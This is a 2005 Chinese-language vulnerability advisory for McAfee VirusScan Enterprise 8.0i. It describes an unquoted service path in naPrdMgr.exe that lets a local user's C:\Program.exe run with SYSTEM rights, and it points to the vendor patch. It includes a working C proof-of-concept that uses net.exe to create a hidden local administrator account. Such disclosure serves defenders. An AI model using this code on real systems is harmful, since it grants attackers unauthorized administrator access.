发布日期：2005-12-22
更新日期：2005-12-22

受影响系统：

McAfee VirusScan Enterprise  8.0i(patch 11)
McAfee CMA 3.5 (patch 5)

不受影响系统：

McAfee VirusScan Enterprise  8.0i(patch 12)

描述：

---

BUGTRAQ  ID: 16040

McAfee VirusScan是一款流行的实时病毒保护应用程序。

McAfee VirusScan在处理程序执行流程时存在漏洞，本地攻击者可能利用此漏洞本地提升权限。

默认下VirusScan中的naPrdMgr.exe进程在本地系统帐号环境中运行，通常过程如下：

- 尝试运行\Program Files\Network Associates\VirusScan\EntVUtil.EXE
- 读取C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
- 读取C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT
- 读取C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT

naPrdMgr.exe进程尝试运行C:\Program Files\Network Associates\VirusScan\EntVUtil.EXE文件时存在漏洞。由于缺少引用naPrdMgr.exe进程首先试图运行C:\Program.exe，如果没有找到该文件就会试图运行C:\Program Files\Network.exe，如果仍未找到的话最后会运行最初试图运行的EntVUtil.EXE文件。恶意用户可以创建名为Program.exe的应用程序并放置在C:\根目录下，这样naPrdMgr.exe进程就会以本地系统权限运行该程序。

<*来源：Reed Arvin （reedarvin@gmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113528364127327&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

// ===== Start Program.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
    CHAR  szWinDir[ _MAX_PATH ];
    CHAR szCmdLine[ _MAX_PATH ];

     GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

    printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" );

    wsprintf( szCmdLine, "%s\\system32\\net.exe user Program
Pr0gr@m$$ /add", szWinDir );

    system( szCmdLine );

    printf( "Adding user \"Program\" to the local Administrators group...\n" );

    wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup
Administrators Program /add", szWinDir );

    system( szCmdLine );

    return 0;
}
// ===== End Program.c ======

建议：

---

厂商补丁：

McAfee
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.mcafee-at-home.com/products/virusscan/default.asp

浏览次数：3759
严重程度：0（网友投票）